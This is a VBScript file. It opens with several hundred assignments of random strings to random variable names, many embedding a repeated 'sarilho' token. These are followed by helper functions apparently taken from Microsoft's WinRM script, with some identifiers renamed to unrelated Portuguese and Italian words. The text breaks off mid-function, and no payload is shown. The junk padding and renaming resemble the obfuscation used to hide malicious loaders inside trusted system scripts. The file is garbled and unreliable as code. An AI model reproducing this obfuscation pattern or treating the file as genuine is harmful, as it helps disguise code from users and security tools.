pmPcxzfbkmcdxRL = "iLLzpxfluGIiimr"
ichaiCmWcodOkuk = "pNASKpLGlhtcWaq"
KiHGqKoGLfiiLLZ = "uKNqbzqSUKBkseR"
rxvPRcOuCkGZfzx = "CGjLkccZZGuAkcz"
OAzcWKLjLTsWLAU = "TGGhLLbcLZzfqmz"
BWWcLCBiWafmiLb = "ACKKibsLPbWAbkx"
RIqrzUnkLWKujWx = "IpBqtkLCNopAPLr"
TCbUbKfpGxcmOoL = "bhnWvqaNcLfHcaA"
LLipWGpoiCirmrc = "GZRzfOBvpmRLoUl"
iroQOLrPupdWRHp = "ZbthchLoLjPPjWt"
QiWNkKWRrtzafAo = "cPkWmBKiQrbLWci"
qlulhKOCULiKWKK = "HZmWoAWiAKphWWN"
WPLkaArzsNUWLKk = "dLKBupLWmztOgcN"
KckLWcbiLcZjZdl = "GlsarilhoLbLeiKhRRfL"
UJWfZaWeUUGZILU = "LoPkiRZhGoGhhGL"
ieKbGJhmWQWoNJd = "GoceiWzBLWqWQoW"
oGWknupcOZzLhiu = "mpcWCRmWGLslPzP"
ZkAZLAWtLAiooiK = "tbgcKRPicdLbGlf"
vhsnklliOcoWUWa = "riGhQtPLPdWbflP"
LoCxIWkfWWppkLU = "LHdcLcKLZpGWnfA"
HWRibbdlUUWGemp = "zjvKfhhNALqoLnH"
bLZiidukLuWKiim = "pptrlkpUPKakZdI"
RoAjchrRLcUPxmt = "hgciRhpALeOkrNx"
NAWKBZzvOWLLiUz = "rKWKWOLpfzicGiJ"
hOGcNKRpbiAPmLz = "LgdcNifeAKGUkUl"
cmcGlLWpiGGcmGp = "xZmklWLWGepLzWs"
ozQKhhklfbuUBbi = "opckuPcHnKWWcpe"
tkZzxtKBobWGxlK = "LLLlWkcBtLcmHZR"
eoCipnpGdOSfLkp = "KtSqKjUKzieGLhu"
zkGpfaKPPpcSmLL = "WhqpPOiPKlPCOpq"
WlZihRPsZiplIeB = "iRAuWZtkWjooUtq"
bQhLLiGxxKzftPq = "WNGckUPUjWWtfGL"
GKLKLfsarilhoAhLUKzW = "TOpcapLUmLLPOJi"
LqmfZniGxWGUxWK = "WPAUmUaKUuGjtlu"
PGULNhsarilhoKuLLohA = "iWihptihIULzHKi"
AiifqAWfriLjLAK = "UNKiRUeCvzeGlhk"
KgZOhPakebflBKQ = "ZWokRcfUNcGPpKc"
TtKWihWKOchLoin = "pAKzRLzektZCbKq"
iWKWLUUbeKIIqCe = "UcrUoKZGkURWtWc"
zLnzqccNHcaLcUt = "bsarilhoHGcaWzqpbkSB"
bApoKmOlcOIihtK = "KKWLxLcGLPtdaTW"
xaPbiLCilGbisKS = "PKhiLSszGkZAepU"
maeApmGCipeWiLb = "nPxtBWiSNmmthzi"
GlCRcKdzGNilfPG = "WsarilhoGBaNWelLKAai"
UvRluqahGlBqHLi = "kLeKKiLfKoQtNte"
LLiplnxgnjfPuhb = "UmZirAxZmSLPhNO"
NccULKiAobGnULc = "CCmGatoOxWPhLGq"
izQLKkseznvoLGG = "WoqgjamWKxtCqAj"
uIfsoqZLPLUmAli = "zbKGdfGrAbcKLLN"
ZLmUGWAGIWWGtbG = "LLoHmakRNNhLroh"
xbibWQihLuGzbbL = "WAcbqmczLWKRURC"
WOZklPnzNKZnlIp = "ioBxcKLUKLcnLGG"
gOHWqfNWBpLfjSK = "eBiiGUWokUeWqnU"
WkGhWRfzckAWIIK = "RnLNcLLzOGWLLdJ"
ehbkOoAoRNtgWfK = "irPktglGBWxWfKL"
WHLfuuNxicZmLki = "WilihkpRGfRNkzK"
fzHWhKIpLckOacz = "UdWeLGbLkZbnxdK"
GUPzaLALPPBQcLi = "GekCnfzPAGKvAbO"
xezZLiWjnLdCeWZ = "KtGAdLLjNeWRmcm"
WpjiWklKUfSLtGo = "JCLWAZUnOiHomnm"
NOkWLLkiPZLWGLA = "tKWUWZLWtLuKCLz"
nWmRsUkPKhpQplB = "kRopcLZKjhjoZlq"
kkhWOkceiChUdWO = "ohGezeSzxplGbKW"
QehqcgsarilhomeaNAUu = "vILoWqhWbKBQPOb"
nifHCIvPmNcPbhI = "WedbWUhLLLUtmbQ"
GlmQbhKLLILknii = "SLhzLGcGKLgooUc"
zOnNPfffvoipLLd = "dtRCoZJmKNfjuWc"
fLRLgzfWTmQfuPi = "ciWiNuqZcobtbNi"
fAchLAzkhWOxWqd = "JIcvKTWbPciGLcZ"
RZTWGeWLAZmzprL = "zxcNAWTcLnUhegu"
RxxzUpBAWqAZkdh = "givqWGpLmcvWAsarilho"
BnKlTWafWPpvGZP = "WGJzOLWULhLcWeb"
mpJGGBbLsNBLbTT = "oIQWAWZLWHALNza"
SGGmRrAoLkWobAc = "GIhAizTCTlhGLWG"
GRWikLUWLqKioIC = "NGSmGKnkCieOBGA"
eqxWckIGnLRfKNe = "HRULpcPQsAlZBWH"
LoddqiLLGqcNzch = "GOcxWexKGWcGrKW"
WGsdorLZfLWCdGS = "KULNZxiLLAmBPKk"
WCGALcGGSmUGUUW = "iisSbsSgeKNiPkf"
WWJfWbLWBbrxoUW = "WUJLLQdJLkubKce"
GWWBRLLuLjWbLqo = "aGRxczUzoxcSHLW"
LlCCOWLmoWiRuUH = "qWmpWnbmaGmUWGi"
rcfmcKLPejKWphK = "QiundkrZWberLPf"
HnZrcdZRxLsKuRL = "NciokOGLWsZKKss"
WdIWSitKWTkpLhB = "PKgROjoNztLHNGK"
pLudLgcWcRHqizo = "GKhLLnHfkKcxfqZ"
ZLLiWeLLqCLGbHG = "ZWjoTWbWcWONcGG"
cfIPWikhWWcrLZu = "GxpdLWWUKWUfnSc"
KoaigZLWRopmuJK = "NceALKqeiPWKsLj"
dLlCIPbkpCiObWi = "LhceLOxkcNGuWZU"
moLQivlkuhLJLxi = "pjmpUgbJLLffrUx"
onPWeAtegRQRWWB = "qGicSLmLKWmWmCO"
KmKLinWgGfIdcdl = "WALzihGvPPLuifO"
mLzLzcWbZncRkLg = "BLetqoWkPhpKiuW"
WWecBLpWAGLpfGB = "xUzizhWcGLLCNqS"
AktsBfKmtLlWqUI = "KoCWCZfbjGLUohc"
LnOAzRWqikdAoKt = "BZbhUhoTWKtoKuO"
NillGdWrKGULUiz = "efoLrtNUizdiWuQ"
riWGfoLhafmxsWP = "GTmLtdPxzPkkGWc"
cihuvWLzsKpjzRp = "IKGAxaLNNOGupuL"
LokGpLbGHcLLAcK = "gGZjOsfUiBKGWid"
GpUfbNbOhdbvWGc = "OkTBiRCmcApbfen"
LWZiWkNBKtoLsLZ = "fKjWWWRqpCLmpWs"
KdnvWjambilkPct = "mfGoLKmnnzkotNh"
szoNGoiPQzUbWlO = "NfTSLmQnZGppPKI"
ifpuLbnzLdkQWAL = "GtKWLcBdGLfCezm"
eBkLGWZrWjcPael = "LKkGWRujkreIkGh"
pCZbkQWPkGNkpUW = "PxCuGbBNKHxWNOx"
CKxUsUUifpUocik = "zjkhTLNKWWLmdxi"
uWeccubUvsbofqz = "nWbiGUdKWILaLeL"
WpBWKNKLiLLfbal = "UKWWLdWnrudWNib"
JRmlWdCZoPZZfne = "LURHLiLcGiWbLxt"
WccgpRaAzimiooB = "GLGbSimWuUPORLW"
OdPlhLgztWJpJCa = "qGfBzSUKLqRjiAC"
icfPLxlWorBKklO = "AZclLNhnrUAcuRm"
BkLKpzctLBHbWkb = "czdNWkiWCiQCxWK"
UCALqoateSGGhth = "AOnKCUdObPRkWLA"
eWihNGeeqaGWLhc = "LLqOxQLhazfdkKW"
dNhLQciKuicZctZ = "diLkoKcodmiPeWd"
jprLcmlIJkLOxNP = "WBxczWGdKeWGoIn"
LkLsKtLIGrUWkeL = "rKxLhuleCzWLdxR"
JriRqUAhPIpAHlI = "sZoPfNznqZiJGfL"
mbAiifkulpRdKuz = "hhKKULkZNdPAtZc"
ZPClRChpULApGLI = "zGJJWKGNzGeoImi"
WflKdmnxvpZeobK = "sPfNmcWhaPiLqia"
lcuooLkfPKqKoZL = "UUNuKLfsKGAeWck"
POCukKGdnOemozZ = "GnpktAHzBKnPULa"
eqZbWCUpjKWKbLL = "pKKLZiCCQnLmaAA"
fcLamWWTRmRBKxn = "LtAZuWZhuJLxPPK"
jfmKcOmrTkLiguc = "kLWWuKNoqxWhAkP"
fWzPphOWHrLvmKe = "CkrWngGLbxeiJmL"
eGuBWkpKciUWtbz = "hcqqtkhWAzBeiLG"
WeUfPNpLfKnGkKu = "KnibkUKtCTKWfmn"
dubBfhuztRcuKWp = "eWmekuIoGxGZCdz"
AUpqiUWkfpmPLfA = "tPiKRmpNNdLWKUa"
UKWmaefmqlHLvLd = "zeLBoPkofddcCUn"
cpNKPGLkjBTkedW = "ckUSfPLGRzKaczd"
SGmLoWzxGKUWtiq = "nniOaNKGzoRkTUk"
qiWCLtKcLUzKKbc = "iGUoLNnUfLppbrL"
kJWLrGociLimNRR = "fvlAxWZRemqNBkO"
GaWdGKNeAnoiSBn = "ucgodoTtmkGhiLc"
kLdZLfeLBtcWBZK = "ccTtPLdNUGWkLtu"
cixkLZGxbmuWiWW = "ArAGikrbKxSBdhz"
czGoNPQloKLiqAz = "KLAvWrbACPnkefc"
hLAfUpZqKglCuAG = "nLfBfWLHicCcLWg"
ZhKupUJWUxigZoK = "mKkGmIPciZzUgLz"
cGIiUbqkgGoQdUT = "pLWiclimerofPsq"
kmevLWaeAoWkKUn = "WGiLLcKWeColSoL"
cojpZvZNGbPceuQ = "WTqCWLdWLLsGQOo"
rLoULaekhPZCLCW = "iCHkeAAHUoSgkhk"
PqIOzkoOZKqWvoT = "tAfGKNWWedAmBRe"
mGveKPWiBKqaWer = "NKkHNQHcLcZOxWq"
LGWJWbOnqiLLUtC = "GvGxpSiGWUckxGh"
fnlGKscWmeaGCpP = "WPiknmBcvrbNuGo"
iUSBCemchLeNPKQ = "nzzWakhteikfqWC"
RkdzjWdaZPPdLcP = "GLKZWlbrbWhAhbb"
UfJTqBKJpBqWiaN = "LbWoadaGaaKihUN"
WbGRmkBxAUceZrj = "NvGanpWiqmdOAIc"
UddGGKLsLsOWiZx = "AUgZKJeUeePsGHL"
hALfilGWbZfkplB = "NGqnLWtJlOOWqAK"
WhCtAKitoGWjciZ = "udgPWkALAoAGURp"
mLxTWpnxdWOPtit = "LWKiiLleIeoLUxK"
dLtliKcUqNKqixr = "SNOWccTreiLaGCq"
GjzieLkgGRcpWAL = "beUufKmdJugocmG"
WsoULdkWiLkZiCf = "qgZZphAriWnLtRz"
itcnGSdiAkOcNWa = "oRWkLoKIGLWReWi"
LRWocLvKffHvcfe = "LpKfTLbiOoPatiu"
GjpWiesHoWzzhkK = "fILGlZGcKGvPaIK"
ALLnohKLNKmKCpS = "LAuLWaAiqlLCWLN"
UmCpNxlIkahIKWZ = "KBUcKsLBacjWtjW"
AjUfnkkzOadqWnW = "fiizCaCLopcLiaW"
kcUetKpKPPUlCCf = "otoUxGncsarilhoKSToP"
idcHzfPcicKbubL = "JSLekZLkctxbLie"
mLPoknJZQGlhsWN = "BLlrAGOibcWPcxO"
ctzZvLcmWtLfpKP = "pKcahRNKozBRLqG"
ARKcpJotUpfSTjW = "LjbhCfKflLitLUq"
LLWLaULLmecUxae = "OepGfltWKPzZHLx"
OhZeeAKLiiLWuWN = "sxZoQdmZLWKcHnh"
LGiLWnqkmGCckoR = "oLKGLozURLeWGgm"
BbGsGtzWWiGgQZa = "kLasWWKqiPgKxnW"
RWKOfmUZNkCCozf = "qmWLThWZzsftLec"
NcunjiILtjdieux = "nnkGLpGZicuLLCG"
WBomNfiKsLbKsarilhoh = "QihdWpLULWWGjim"
NciWcguIIqxcNfm = "qoCCbiCiRcHAZpc"
fGQJOhxZauGJCNh = "gloKPGhdkLWWaNQ"
ceGUkOzRcLvGkxQ = "HGxBRGmcpsWazbI"
UxKAaPWUngPiqGa = "hiGoWhGLcacftWC"
WLGUUmoPseZAUeP = "hPfticbOtcWKuxC"
AribbmLzoWcielK = "KBIITCLNfLUcKfA"
euZZOUOpseoLelt = "jueofpKkJLGkZci"
BqiPvGfLocWcGWx = "ULWhuWuBtfkaeKA"
kTihbLZNGUxvLGc = "AcPKpfJWTAuKioi"
isIdLlWipucBKBx = "UGixRNAdioWKAWn"
ikGSNWWmgiLLmRl = "LIbKNcObomdTNKi"
OWbcWWnjejThLtn = "GpzLWARLzmALviu"
dvKGKhZvbNkAzaL = "tkKPBbOvGeqNTog"
sKHxLLLLlWZpWWA = "gzcZLWkNeUBqAAW"
PerLjRixkTUpiWt = "grLGOiukoLGKtNk"
LoedeLiUGzqpTRi = "GUKARcWOraSRLWP"
zqUpcZkUbLNcqzL = "UtxuLWpuzclvpiB"
TePhoKQuORQkpjo = "kLhggWiRNARNtkb"
QmdPhpitdLKLRUf = "BTquGOohLhKBrGZ"
lkLtprLAWWUiieW = "aWLWWOTWPWCZZLB"
cczKZZlvKimWoWg = "biKSWAIlmvKLIGm"
xBfWlLkPklWOUoQ = "RBPBWgllRTPxpzL"
xGRPHLfiPekdAHh = "zLWWcbPjWWtGuUP"
rUIioiikzacLfCL = "GWUGPCfWnmKLiPA"
mLAQqWlKGWcWZzi = "GZCeqWdWoxSRlon"
GnvBeWKjKtBgWmm = "bGoNfWWWikWpaJZ"
cnmcGzvoRNbWhum = "CUUpWAmmhsptikL"
KiceUmBcnGcKQvc = "CAGLZlLGCLtCQig"
LLkWiqdLmOWmUWW = "qmNpnPxbLazBujL"
hcdGZCWUGkcAWzH = "WWRqWfIWZkJkLHK"
ZebWdoLKhRKGZfi = "qZULGWWWmoncUeW"
KkhkzUxhBLqflWp = "WlCczPbKmBpikuL"
OixcBLxRLtLKmmJ = "ILiUeaGLrKbfkhp"
lfhLkbWWxAWWZfk = "WGbHbtGWbWLAPLK"
LcxzikkcbNzOaLh = "shhvaAWiJKLccmO"
kBGqOLKkTbAuKli = "AcUniLHLLGobCKU"
KGAOegTBsimtLAc = "NPiNkcLNxLckfoh"
WKoWkOpfePUUKPA = "GZvbztRRiWmoeKh"
nitKLWfKQGtPnUx = "ZckOgKmhmNWqbNb"
aTUqLiZnmLSfqli = "kLWaLOLGccnbURd"
oOoLtfWxUOabizz = "KucLdKUilSuWpOG"
aZcAzvqKUGShKhP = "ckmRCirNibOnRKt"
cZpBdocuNKPLLft = "huZASALZiLrLLcn"
KhBrvcWNWeiWhLq = "zImndAUzLuKKevK"
bZWANkZSopULLHc = "GAhciURLLnLmRqN"
LScBGomeuzxmgjN = "TiLtaicecuGULPU"
uRWAoeNKZWxpPdp = "emhxrLiWWuAWOld"
bqWgZmKRzBULNHL = "OWJNoZiiAAiehaB"
ohRanCzGWWLbsarilhod = "CoAcftUSWaKhbGU"
WcKppiUNKAioLWi = "UnGPLpkZigztiZo"
WkLecLuaojBWcmf = "kGWhtcNRgNZPiim"
kGhLBWiloxUAeGG = "axQALKqOhfGtfIW"
zPLclZmLgahiBch = "GixjAWGWCpCbZUx"
mrZikkWlkLGALrK = "bNAiGnmRJhlczqK"
RUWliWmxeZSxBbf = "LkhOGGNcUifPicn"
iCzbbhGZWWvhGLW = "bhBNGaoehGhtLoR"
hGqncKLnfWicUtN = "GpfimsiWeCLKLdf"
gcaLiGpBaKnzqnG = "WLGbLUWAWeCfuoU"
cGWAIKOzfOdeamB = "LcpcGBmchLLBLSC"
zKrlkqBxoeKPKvN = "gloemUUxaGLRGdr"
UaPeLIztcHLSetk = "NomKlWoNCtLRGCW"
WdZLGSGGeRiRgLg = "lxiLGSeiKWbiZTt"
LtiiLkpoUfNsarilhoHS = "kzRbWLWvpUNBKcu"
vhOUUzBlKRPANGW = "chifWUWedqPUKcW"
eiWppeiBWHnqqko = "NWeKLoObplLpafU"
ugRfJfbWWWiLWie = "iWGcZBGLKKuurUO"
KbWToiLzekiWJxW = "AKRLpGWcPNmLaxU"
bLLKpcKecWKcjUL = "HSfcLLqeKhlRjsd"
LvKeceGWkhiBAaz = "WsarilhoLZkZKsuezqNq"
KNkvNkbqLLKKWLc = "ltWiPhGUKmKPfik"
prWaZLkoLfZzmGi = "WuAoKZhWpaOQkNd"
KkiGmixcKAhZiKz = "bxsciLUAmpUZppc"
RRzoLCKtdccepcU = "LNbLulWOmWhiOHJ"
WcbLnxqlffoekhP = "KKdiKGLjZcqtNnu"
BpdhUfPKcchzPli = "pKWezhWlobiLIdl"
QkfGbTkxTLLLKWa = "ZKGxOKWnbWePpqh"
piShakAZKUqzcOb = "gWpimZLcgNBaiHo"
pQAtfWCoeclWLNp = "WUzKmksePkpcUkL"
WoGAkWPlGhbUPiz = "LtKLfptrTLWZGmq"
tLepaeePOzPNURR = "GAcvhGLiunbcLiL"
LltCANhNUGlaANG = "GRpxqkmfWULSWLk"
ttmdzPKWkOddbAa = "SUcfUUuLzAlAWUd"
dpKtbWLWnbthLLs = "LtPkzRbKWkOKozL"
ddmJWspBAcgUdWb = "niiWdNnPbhjUpPL"
LbmIKNqlaunLdLb = "vgLqNttPTTlzWqh"
TphGAUfLbRcUPaG = "zUhcadRtRBUWHGU"
tLopbOPmmLNoziW = "zLkUOKWNKizmtcK"
miQtcKpkRxUzLod = "LpCkpNQLrLaWnWA"
GJBhSqCGizcsKet = "eeLmUiliobGLHki"
aCiNfppNiWoJpKi = "KgJJjAtvakzlBPf"
LeLLINBgCtiizcL = "UooPKbPGbzOWKAk"
NKWLLnmTcocmfqH = "WLnKutCHAknZWqa"
LbWOcailvbzKpNa = "ualGbSoPaLrhqKz"
LpcQcuWWtAzINAq = "siLtLklqaiZtRbo"
huQeJLCBmWdqWGA = "LfqGQtPUPOGPUcU"
RsarilhoLpbpmiahuvpd = "eWNlWWGmWixhxig"
iKOOfcnPWnOLaZP = "cTWlhAuhRUSKLLk"
khkRKaUoztPldWL = "dSGeePauWNGLbLv"
NuCxzWLskfLLxeW = "pkaIvGkLHloLkie"
GSlkRgLWWhKLuGJ = "LfLlKLKefKziCcG"
UGomGcWWLotRcve = "pKKkGZWLjWkcqWb"
AuKkejGUUkqWamf = "ffUKxUhmfPOorpW"
eZWWuLLkQLuNZLm = "mQPUNzbrsarilhoozxLz"
LkLbLknlcTkqQTG = "KsxWueZLolcibfz"
WWWNAeogNZLLZcf = "WlaLzHhuPAKiNPP"
fGbCLGKCkWeLLvd = "RjeLxcgeIiucbke"
iUSHUPflGBLqWGv = "mgLTKoWOGWinKtW"
cLoWQPxTuKLGblk = "mzqLWRPQkLRexvz"
NxWhnKxnqHGkTPC = "AZpLoAoLnPhpUco"
kZPikUuoGKNhvfg = "KTnhkKGPWGeQLAx"
WfQmHRbNftKdqor = "UhhGKTRKBcznWPs"
LhaKioAPULPLtLu = "USaohzPqZtWoook"
TzcnifpSiPWLKlW = "hhhpxpWUmBGKGKa"
zpicGWtGkpApGZd = "oiZzBNWNqUnhbGL"
zGZJZfKBtLLNcUp = "kxiKnQkIcWWoLic"
xWTcdiLLWCpLWie = "WpRWouLazcImGxQ"
WLKdkeWWLtSLiNT = "NzpaberWiBkGlkP"
mlWuRUWrxZnBhWB = "fZpLzxtLtIKcWGc"
ZPNKitjUdxzZkWB = "hjaLpLnLcbeliin"
pfGKZehhcLOLKKK = "QUzlcOmkLpoKKQi"
kHiaWUOIbGWWbPd = "PLiikABcaWuoALe"
WlHnLSUJoczbLfI = "ioGxWLotGPBmLCZ"
BcziveimLPfUlCl = "RnWijGZLLbsarilhoniK"
TPGfmRLpWjRiAdL = "ktPWWRiWoAfSZLl"
NbcHdGKoiifafBR = "GLbtWGKkrGZTWzB"
CWBZcLitLmoaiZZ = "CRWWxOZPhsarilhoWGuW"
LatLclcPUciZueU = "AcBIihRmSRPbLzZ"
aGOsarilhoOAPUtUALUW = "ZphniuhaioAcizm"
LUgkUlhWzCclLiL = "BGcglkPcGLfdbGn"
KufgWNdkUuhmotG = "hxdWpKCULSPdWLL"
teWWPmNhhxAWvhu = "LfcGhmRLmACKLnc"
bGjJciOeptCAdcd = "PRdciILIukZTTPL"
zbAkcLibUmLImWL = "fCGKLGnOkvznqLC"
ecbCBtICWoAcGgP = "xObPLmkdmvcCnAL"
ttzWugOOWzqKeUN = "PNWKLeGsrnKiUhU"
KWZiObNkiicdNjn = "ikcaNWPHKPxtomZ"
iOLTikaibpPKiZp = "xhLfhmiANPNhedx"
LLfkLeIbdcqbPgt = "RLWtWbkWeQzdibx"
ipBLbaGGWCcUNWk = "PKkulazZvUuWuBd"
bOCiGZoGGxRulPq = "cGLilzPunTphKci"
bLBWGKzPIGOLqJC = "eGScUxsZcWaGLmm"
zzGNWLmWJhdiRTi = "ZiGndieefQLqALZ"
GxSqBNNcjZNjekZ = "bAqgLRRLZiPQkcr"
uepWWChPhbLdoNq = "kKLfWLOWpiGWerb"
PNepUGdflliRLpT = "WmicBJAgSLkWLhm"
mmTRiiineOLPAec = "nCftQKLcOZdUALW"
WrWhRGAHxJcWLak = "ncLWPhiGUfmAiLP"
WNAWfmcLORZmaKn = "RciKKciWLkLGKkb"
xWzLLacZLuGBksarilho = "KRnWLpCWWOluicz"
KeZinfjhoLzizdu = "WKcNWKedicPhpPG"
'''''''''''''''''''''
'''''''''''''''''''''
' Helper to run xpath over msxml obj and find single element
Private Function GetElementByXpath(msxmlObj, xpath)
GetElementByXpath = ""
msxmlObj.setProperty "SelectionLanguage", "XPath"
msxmlObj.setproperty "SelectionNamespaces", "xmlns:s=""http://schemas.microsoft.com/wbem/wsman/1/config/service"""
Dim elementList
Dim currentElement
Set currentElement = msxmlObj.selectSingleNode(xpath)
If Not currentElement is Nothing Then
If currentElement.hasChildNodes() Then
If currentElement.childNodes.length = 1 Then
dim aNode
Set aNode = currentElement.childNodes.nextNode()
If aNode.nodeType = NODE_TEXT Then
GetElementByXpath = aNode.text
Exit Function
End If
End If
End If
GetElementByXpath = currentElement.xml
End If
Exit Function
Set elementList = msxmlObj.selectNodes(xpath)
If elementList.length = 1 Then
Set currentElement = elementList.nextNode()
If currentElement.nodeType = NODE_TEXT Then
GetElementByXpath = currentElement.text
Else
GetElementByXpath = currentElement.xml
End If
End If
End Function
'''''''''''''''''''''
' Helper to run xpath over msxml obj and find single element
Private Function GetElementAttributeByXpath(msxmlObj, xpath, attributeName)
GetElementAttributeByXpath = ""
msxmlObj.setProperty "SelectionLanguage", "XPath"
msxmlObj.setproperty "SelectionNamespaces", "xmlns:s=""http://schemas.microsoft.com/wbem/wsman/1/config/service"""
Dim currentElement
Set currentElement = msxmlObj.selectSingleNode(xpath)
GetElementAttributeByXpath = currentElement.getAttribute("Source")
End Function
'''''''''''''''''''''
' Helper to run xpath over msxml obj and find single element
Private Function GetElementXml(msxmlObj, currentElement)
GetElementXml = ""
msxmlObj.setProperty "SelectionLanguage", "XPath"
msxmlObj.setproperty "SelectionNamespaces", "xmlns:s=""http://schemas.microsoft.com/wbem/wsman/1/config/service"""
Dim elementList
GetElementByXpath = currentElement.xml
End Function
'''''''''''''''''''''
' Returns XML ns depending on the type of URI
private function GetXmlNs(resUri)
dim resUriLCase
dim s1
dim s2
ASSERTBOOL Len(resUri) <> 0, resurgimento("L_URIZERO_Message")
resUriLCase = LCase(resUri)
if InStr(resUriLCase, URI_IPMI) <> 0 then
GetXmlNs = StripParams(resUri)
elseif InStr(resUriLCase, URI_WMI) <> 0 then
GetXmlNs = StripParams(resUri)
else
'//GetXmlNs = StripParams(resUri) & ".xsd"
'//This was reported by Intel as an interop issue. So now we are not appending a .xsd in the end.
GetXmlNs = StripParams(resUri)
end if
GetXmlNs = "xmlns:p=""" & GetXmlNs & """"
end function
'''''''''''''''''''''
' Verify if target is in IPv6 format
private function IsIPv6(target)
dim regexpObj
Set regexpObj = New RegExp
regexpObj.Pattern = PTRN_IPV6_S
regexpObj.IgnoreCase = TRUE
dim matches
set matches = regExpObj.Execute(target)
if matches.Count <> 0 then
IsIPv6 = true
else
IsIPv6 = false
end if
end function
'''''''''''''''''''''
' Extracts XML root node nm. from URI
private function GetRootNodeName(opr, resUri, actUri)
dim uriTmp
dim sfx
dim s
dim regexpObj
Set regexpObj = New RegExp
ASSERTBOOL Len(opr) <> 0, "'opr' parameter is 0 length or null"
sfx = ""
select case opr
case OP_PUT
uriTmp = resUri
case OP_CRE
uriTmp = resUri
case OP_INV
uriTmp = actUri
sfx = GetSuffix(resUri)
case else
GetRootNodeName = ""
exit function
end select
ASSERTBOOL Len(uriTmp) <> 0, resurgimento("L_URIZERO_Message")
uriTmp = StripParams(uriTmp)
regexpObj.Pattern = PTRN_URI_LAST
regexpObj.IgnoreCase = TRUE
dim matches
set matches = regexpObj.Execute(uriTmp)
ASSERTBOOL matches.Count = 1, resurgimento("L_NOLASTTOK_Message")
uriTmp = matches(0)
ASSERTBOOL Len(uriTmp) <> 0, resurgimento("L_URIZEROTOK_Message")
GetRootNodeName = uriTmp & sfx
end function
private function ProcessParameterHash(hashString)
on error resume next
dim matches
dim m
dim regexpObj
Set regexpObj = New RegExp
regexpObj.Global = True
regexpObj.IgnoreCase = True
dim resultDictionary
set resultDictionary = CreateObject("Scripting.Dictionary")
If Len(hashString) > 0 then
If Len(hashString) > 2 Then
If Mid(hashString,1,1) <> "{" Or Mid(hashString,Len(hashString),1) <> "}" Then
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
End If
regexpObj.Pattern = PTRN_HASH_VALIDATE
regexpObj.ignoreCase = true
set matches = regexpObj.Execute(hashString)
if matches.Count <> 1 then
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
end if
'following check ensures that if we have unmatched substrings
'we report a syntax error. the way we determine is first to
'calculate the expected string length by going through all
'the matches and then comparing with input string length
dim expectedLength
regexpObj.Pattern = PTRN_HASH_TOK
regexpObj.ignoreCase = true
set matches = regexpObj.Execute(hashString)
expectedLength = matches.Count-1
for each m in matches
expectedLength = expectedLength + m.Length
next
'account for starting and closing {}
expectedLength = expectedLength + 2
if (expectedLength <> Len(hashString)) then
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
end if
regexpObj.Pattern = PTRN_HASH_TOK
regexpObj.ignoreCase = true
set matches = regexpObj.Execute(hashString)
if matches.Count > 0 then
for each m in matches
if resultDictionary.Exists(m.Submatches(0)) then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOARRAY_Message") & m.Submatches(0)
set ProcessParameterHash = Nothing
Exit Function
end if
if LCase(m.Submatches(1)) = "$null" then
resultDictionary.Add m.Submatches(0),null
else
resultDictionary.Add m.Submatches(0),m.Submatches(2)
end if
next
end if
ElseIf hashString <> "{}" Then
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
End If
Else
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
End If
set ProcessParameterHash = resultDictionary
end function
private function CreateAndInitializeResourceLocator(wsman,resourceUri,condutor)
on error resume next
Dim key
dim resourceLocator
dim paramMap
Dim optionsValue
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' create the resource locator object
Set resourceLocator = Wsman.CreateResourceLocator(resourceUri)
if Err.number <> 0 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_RESOURCELOCATOR_Message")
set CreateAndInitializeResourceLocator = Nothing
exit function
end if
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' set the options on the resource locator
optionsValue = condutor.Argument("options")
If Len(optionsValue) Then
set paramMap = ProcessParameterHash(optionsValue)
if paramMap Is Nothing then
set CreateAndInitializeResourceLocator = Nothing
'todo exit function
end if
for each key in paramMap
if IsNull(paramMap(key)) then
resourceLocator.AddOption key, null
else
resourceLocator.AddOption key,paramMap(key)
end if
next
End If
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' set the fragment path and fragment dialect on the resource locator
if(condutor.ArgumentExists(NPARA_FRAGMENT)) then
resourceLocator.FragmentPath = condutor.Argument(NPARA_FRAGMENT)
end if
if(condutor.ArgumentExists(NPARA_DIALECT)) then
resourceLocator.FragmentDialect = condutor.Argument(NPARA_DIALECT)
end if
set CreateAndInitializeResourceLocator = resourceLocator
end function
private function pentagramma()
if InStrRev(LCase(WScript.FullName), "cscript.exe", -1) <> 0 then
pentagramma = True
else
pentagramma = False
end if
end function
'''''''''''''''''''''
' Reads input XML from the stdin or builds XML from @{...}
private function ProcessInput(wsman, operation, root, condutor, resourceLocator,traduzideiroObj,inputStr,arrebanhador)
on error resume next
dim parameterDic,key
dim putStr
dim elementList
dim currentElement
dim paramXmlFile
dim tmpNode
dim parameterString
dim parameterCount
dim xmlns
'make sure it's a relevent operation
select case operation
case OP_PUT
case OP_CRE
case OP_INV
case else
inputStr = ""
ProcessInput = true
exit function
end select
xmlns = GetXmlNs(resourceLocator.ResourceURI)
'process the parameters into a Map
parameterString = condutor.Argument(NPARA_PSEUDO_AT)
parameterCount = 0
If Len(parameterString) Then
set parameterDic = ProcessParameterHash(parameterString)
'if parameter processing failed, exit
if parameterDic Is Nothing then
set ProcessInput = false
exit function
end if
parameterCount = parameterDic.Count
End If
'if there were no parameters, get from file
if parameterCount = 0 then
if condutor.ArgumentExists(NPARA_FILE) then
inputStr = ReadFile(condutor.Argument(NPARA_FILE))
ProcessInput = true
exit function
end if
end if
if operation = OP_CRE Or operation = OP_INV then
dim nilns
nilns = ""
dim parameters
parameters = ""
if parameterCount > 0 then
for each key in parameterDic
parameters = parameters & "<p:" & key
if IsNull(parameterDic(key)) then
parameters = parameters & " " & ATTR_NIL
nilns = " " & NS_XSI
end if
parameters = parameters & ">" & Escape(parameterDic(key)) & _
"</p:" & key & ">"
next
end if
